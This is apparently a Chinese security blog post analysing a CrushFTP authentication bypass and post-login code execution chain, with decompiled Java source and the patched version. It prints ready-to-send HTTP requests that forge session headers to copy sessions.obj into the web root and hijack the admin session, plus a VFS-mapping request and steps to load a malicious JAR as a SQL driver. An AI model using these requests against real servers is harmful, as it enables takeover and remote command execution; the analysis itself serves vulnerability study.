路由分析
不像传统套件,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活,在crushftp.server.ServerSessionHTTP
可以看到具体的处理过程,代码”依托答辩”,不过漏洞思路值得学习
前台权限绕过
简单来说,原理是因为程序实现存在匿名访问机制,并且可以通过header污染当前会话的参数导致产生了一些意外的操作
在crushftp.server.ServerSessionAJAX#buildPostItem
当中,可以看到会解析每一个header,并将解析到的key,val保存到as2Info这个Properties中,同时这里对put的参数没有任何限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
public boolean buildPostItem(Properties request, long http_len_max, Vector headers, String req_id) throws Exception { Properties as2Info = new Properties(); boolean write100Continue = false; int x = 1;s while (x < headers.size()) { String data; String key = data = headers.elementAt(x).toString(); String val = ""; try { val = data.substring(data.indexOf(":") + 1).trim(); key = data.substring(0, data.indexOf(":")).trim().toLowerCase(); } catch (Exception e) { Log.log("HTTP_SERVER", 3, e); } as2Info.put(key, val); ......省略..... |
我们顺便看看新版本是如何解决这一点的,从processAs2HeaderLine
可以看出,允许设置到as2Info当中值受到了限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
public static void processAs2HeaderLine(String key, String val, String data, Properties as2Info) { as2Info.put(key.trim().toLowerCase(), val.trim()); if (data.toLowerCase().startsWith("message-id:")) { String as2Filename = data.substring(data.indexOf(":") + 1).trim(); if ((as2Filename = as2Filename.substring(1)).indexOf("@") >= 0) { as2Filename = as2Filename.substring(0, as2Filename.indexOf("@")); } as2Filename = Common.replace_str(as2Filename, "<", ""); as2Filename = Common.replace_str(as2Filename, ">", ""); as2Info.put("as2Filename", as2Filename); } else if (data.toLowerCase().startsWith("content-type:")) { as2Info.put("contentType", data.substring(data.indexOf(":") + 1).trim()); } else if (data.toLowerCase().startsWith("disposition-notification-options:")) { as2Info.put("signMdn", String.valueOf(data.substring(data.indexOf(":") + 1).trim().indexOf("pkcs7-signature") >= 0)); } } |
继续往下接下来我们可以看到,在光标处没有做任何的限制,直接将as2Info中的每个键值对添加到了当前会话的user_info属性,因此这里存在一个属性覆盖的问题,接下来我们就需要看看覆盖哪些属性可能存在威胁
关于user_info属性的获取是通过一个封装好的函数来做获取
1 2 3 4 5 6 |
public String uiSG(String data) { if (this.user_info.containsKey(data)) { return this.user_info.getProperty(data); } return ""; } |
同时在此基础上还有一系列类型转换的封装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
public int uiIG(String data) { try { return Integer.parseInt(this.uiSG(data)); } catch (Exception exception) { return 0; } } public long uiLG(String data) { try { return Long.parseLong(this.uiSG(data)); } catch (Exception exception) { return 0L; } } public boolean uiBG(String data) { return this.uiSG(data).toLowerCase().equals("true"); } ...... |
接下来就是寻找污染哪些属性可能造成危害,这里漏洞发现者使用了getUserName
其中csrf默认为true,我们需要传入c2f参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
public boolean getUserName(Properties request) throws Exception { if (request.getProperty("command", "").equalsIgnoreCase("getUserName")) { String response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n"; if (ServerStatus.BG("csrf") && !request.getProperty("c2f", "").equals("")) { String session_id = this.thisSessionHTTP.thisSession.getId(); try { if (!request.getProperty("c2f", "").equalsIgnoreCase(session_id.substring(session_id.length() - 4))) { this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime()); response = String.valueOf(response) + "<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>"; return this.writeResponse(response); } } catch (Exception e) { Log.log("HTTP_SERVER", 2, e); this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime()); response = String.valueOf(response) + "<loginResult><response>failure</response></loginResult>"; return this.writeResponse(response); } } response = this.thisSessionHTTP.thisSession.uiBG("user_logged_in") && !this.thisSessionHTTP.thisSession.uiSG("user_name").equals("") ? String.valueOf(response) + "<loginResult><response>success</response><username>" + this.thisSessionHTTP.thisSession.uiSG("user_name") + "</username></loginResult>" : String.valueOf(response) + "<loginResult><response>failure</response></loginResult>"; return this.writeResponse(response); } return false; } |
如果相等则返回登录成功,同时值得注意的是这里会返回user_name
,因此我们可以利用这一点来判断漏洞是否可利用,如果是漏洞版本user_name
就可以通过header覆盖,返回也可以是任意可控字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
public boolean writeResponse(String response) throws Exception { return this.writeResponse(response, true, 200, true, false, true); } public boolean writeResponse(String response, boolean json) throws Exception { return this.writeResponse(response, true, 200, true, json, true); } public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception { boolean acceptsGZIP = false; return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header); } public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception { if (convertVars) { response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession); } this.write_command_http("HTTP/1.1 " + code + " OK", log_header); this.write_command_http("Cache-Control: no-store", log_header); this.write_command_http("Pragma: no-cache", log_header); if (json) { this.write_command_http("Content-Type: application/jsonrequest;charset=utf-8"); } else { this.write_command_http("Content-Type: text/" + (response.indexOf("<?xml") >= 0 ? "xml" : "plain") + ";charset=utf-8"); } if (acceptsGZIP) { this.thisSessionHTTP.write_command_http("Vary: Accept-Encoding"); this.thisSessionHTTP.write_command_http("Content-Encoding: gzip"); this.thisSessionHTTP.write_command_http("Transfer-Encoding: chunked"); this.thisSessionHTTP.write_command_http("Date: " + this.thisSessionHTTP.sdf_rfc1123.format(new Date()), log, true); this.thisSessionHTTP.write_command_http("Server: " + ServerStatus.SG("http_server_header"), log, true); this.thisSessionHTTP.write_command_http("P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\"", log, true); if (!ServerStatus.SG("Access-Control-Allow-Origin").equals("")) { String origin = this.thisSessionHTTP.headerLookup.getProperty("ORIGIN", ""); int x = 0; while (x < ServerStatus.SG("Access-Control-Allow-Origin").split(",").length) { boolean ok = false; if (origin.equals("")) { ok = true; } else if (ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].toUpperCase().trim().equalsIgnoreCase(origin.toUpperCase().trim())) { ok = true; } if (ok) { this.write_command_http("Access-Control-Allow-Origin: " + ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].trim()); } ++x; } this.write_command_http("Access-Control-Allow-Headers: authorization,content-type"); this.write_command_http("Access-Control-Allow-Credentials: true"); this.write_command_http("Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,PROPFIND,DELETE,MKCOL,MOVE,COPY,HEAD,PROPPATCH,LOCK,UNLOCK,ACL,TR"); } this.write_command_http("", log); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = response.getBytes("UTF8"); GZIPOutputStream out = new GZIPOutputStream(baos); ((OutputStream)out).write(b); out.finish(); if (baos.size() > 0) { this.thisSessionHTTP.original_os.write((String.valueOf(Long.toHexString(baos.size())) + "\r\n").getBytes()); baos.writeTo(this.thisSessionHTTP.original_os); this.thisSessionHTTP.original_os.write("\r\n".getBytes()); baos.reset(); } this.thisSessionHTTP.original_os.write("0\r\n\r\n".getBytes()); this.thisSessionHTTP.original_os.flush(); } else { this.thisSessionHTTP.write_standard_headers(log); int len = response.getBytes("UTF8").length + 2; if (len == 2) { len = 0; } this.write_command_http("Content-Length: " + len, log_header); this.write_command_http("", log); if (len > 0) { this.thisSessionHTTP.write_command_http(response, log, convertVars); } } this.thisSessionHTTP.thisSession.drain_log(); return true; } |
当请求结束,在响应完成之后,在倒数第二行调用了drain_log
方法,这个方法也很有意思
可以看到如果属性当中存在user_log_path_custom
,并且不为空,接下来再结合覆盖其他参数
- user_log_path_custom 中的值为new_loc
- user_log_path 中指定的值为old_loc
- 旧文件将复制到指定的新位置,并删除旧文件
现在我们可以做到任意文件复制以及删除
,但经过测试我们会发现,如果我们读取一些敏感的配置文件到web路径下,访问后再移动回去会破坏掉文件本身的一些完整性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
public void drain_log() { .....省略..... object = this.uiVG("user_log"); synchronized (object) { if (!this.uiSG("user_log_path_custom").equals("")) { String new_loc = "" + this.user_info.remove("user_log_path_custom"); String old_loc = this.uiSG("user_log_path"); this.uiPUT("user_log_path", new_loc); new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs(); if (new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).exists() && !new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).renameTo(new File_S(String.valueOf(new_loc) + this.uiSG("user_log_file")))) { try { Common.copy(String.valueOf(old_loc) + this.uiSG("user_log_file"), String.valueOf(new_loc) + this.uiSG("user_log_file"), true); } catch (Exception exception) { // empty catch block } new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).delete(); } } try { com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true); } catch (FileNotFoundException e) { try { new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs(); com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true); } catch (IOException ee) { Log.log("SERVER", 1, ee); } } catch (IOException e) { Log.log("SERVER", 1, e); } } } |
毕竟是log功能,程序会将请求记录不断写入
而这部分功能则是受add_log
控制,可以看到如果dont_log
为true
,那么就不会记录当前请求
1 2 3 4 5 6 7 8 |
public void add_log(String log_data, String short_data, String check_data) { if (this.uiBG("dont_log")) { return; } if (this.logDateFormat == null) { this.logDateFormat = (SimpleDateFormat)ServerStatus.thisObj.logDateFormat.clone(); } ....... |
因此我们不难构造出
1 2 3 4 5 6 7 8 9 10 11 12 13 |
POST /WebInterface/function/?command=getUsername&c2f=a4Ga Host: 127.0.0.1:8080 as2-to: X user_name: crushadmin user_log_file: file_to_read user_log_path_custom: WebInterface/ user_log_path: ./ dont_log: true Content-Length: 9 Content-Type: application/x-www-form-urlencoded Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga; post=body |
表面上看来到此漏洞可能已经利用结束了,但实际上还能再更进一步
但继续阅读源码我们会发现,程序在运行过程还会”定期”,将session当中的属性信息保存到sessions.obj文件当中(保存的条件是重启过服务器…),这个文件的作用相当于是充当了服务器重启时的缓存,因此漏洞利用需要看运气了
这里我们得到了完整的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 |
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1 Host: 127.0.0.1:8080 as2-to: X user_name: crushadmin user_log_file: sessions.obj user_log_path_custom: WebInterface/ user_log_path: ./ dont_log: true Content-Length: 9 Content-Type: application/x-www-form-urlencoded Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga; post=body |
之后访问/WebInterface/sessions.obj/WebInterface/sessions.obj
即可获取到泄漏的session信息
在这里我们还可以尝试权限维持,可以看到这里存在一个借口可以直接获取到明文密码
后台代码执行
在后台设置中,发现可以动态加载 SQL 驱动程序和配置测试,因此只需要能够上传恶意 JAR 文件即可实现RCE
毕竟是FTP一定存在上传的点,但是在上传后发现没有权限
经过查找我们可以发现在后台可以增加虚拟路径和物理路径的映射
顺便抓了个包
1
|
command=setUserItem&data_action=replace&serverGroup=extra_vfs&username=crushadmin~Y4Test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Ecrushadmin~Y4Test%3C%2Fusername%3E%3Cpassword%3E%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cvfs_items+type%3D%22vector%22%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3EY4TMP%3C%2Fname%3E%0D%0A%3Cpath%3E%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3E%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3Etmp%3C%2Fname%3E%0D%0A%3Cpath%3E%2FY4TMP%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3EFILE%3A%2F%2FVolumes%2FMacintosh+HD%2Ftmp%2F%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3C%2Fvfs_items%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3CVFS+type%3D%22properties%22%3E%0D%0A%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2FTMP%2F%22%3E(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)%3C%2Fitem%3E%0D%0A%3C%2FVFS%3E&c2f=kYjk
|
对应以下的参数,按照此模板做修改即可注意替换username(用户名~随意的自定义参数|参考上面的图上面的截图就很容易理解)、c2f参数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
command: setUserItem data_action: replace serverGroup: extra_vfs username: crushadmin~Y4Test user: <?xml version="1.0" encoding="UTF-8"?><user type="properties"><username>crushadmin~Y4Test</username><password></password><max_logins>0</max_logins><root_dir>/</root_dir></user> xmlItem: user vfs_items: <?xml version="1.0" encoding="UTF-8"?> <vfs_items type="vector"> <vfs_items_subitem type="properties"> <name>Y4TMP</name> <path>/</path> <vfs_item type="vector"> <vfs_item_subitem type="properties"> <type>DIR</type> <url></url> </vfs_item_subitem> </vfs_item> </vfs_items_subitem> <vfs_items_subitem type="properties"> <name>tmp</name> <path>/Y4TMP/</path> <vfs_item type="vector"> <vfs_item_subitem type="properties"> <type>DIR</type> <url>FILE://Volumes/Macintosh HD/tmp/</url> </vfs_item_subitem> </vfs_item> </vfs_items_subitem> </vfs_items> permissions: <?xml version="1.0" encoding="UTF-8"?> <VFS type="properties"> <item name="/">(read)(view)(resume)</item> <item name="/Y4TMP/">(read)(view)(resume)</item> <item name="/Y4TMP/TMP/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)</item> </VFS> c2f: kYjk |
之后在主页上传jar包
抓了个包发现这样非常麻烦,需要两步,第一步相当于初始化,第二步还要计算文件大小拼接(19218是文件大小)
通过阅读源码我发现了一个可替代的步骤,并且更简单,简化我们做自动化利用的步骤
现在既然成功上传了,那就可以控制参数加载我们的恶意SQL驱动程序执行任意命令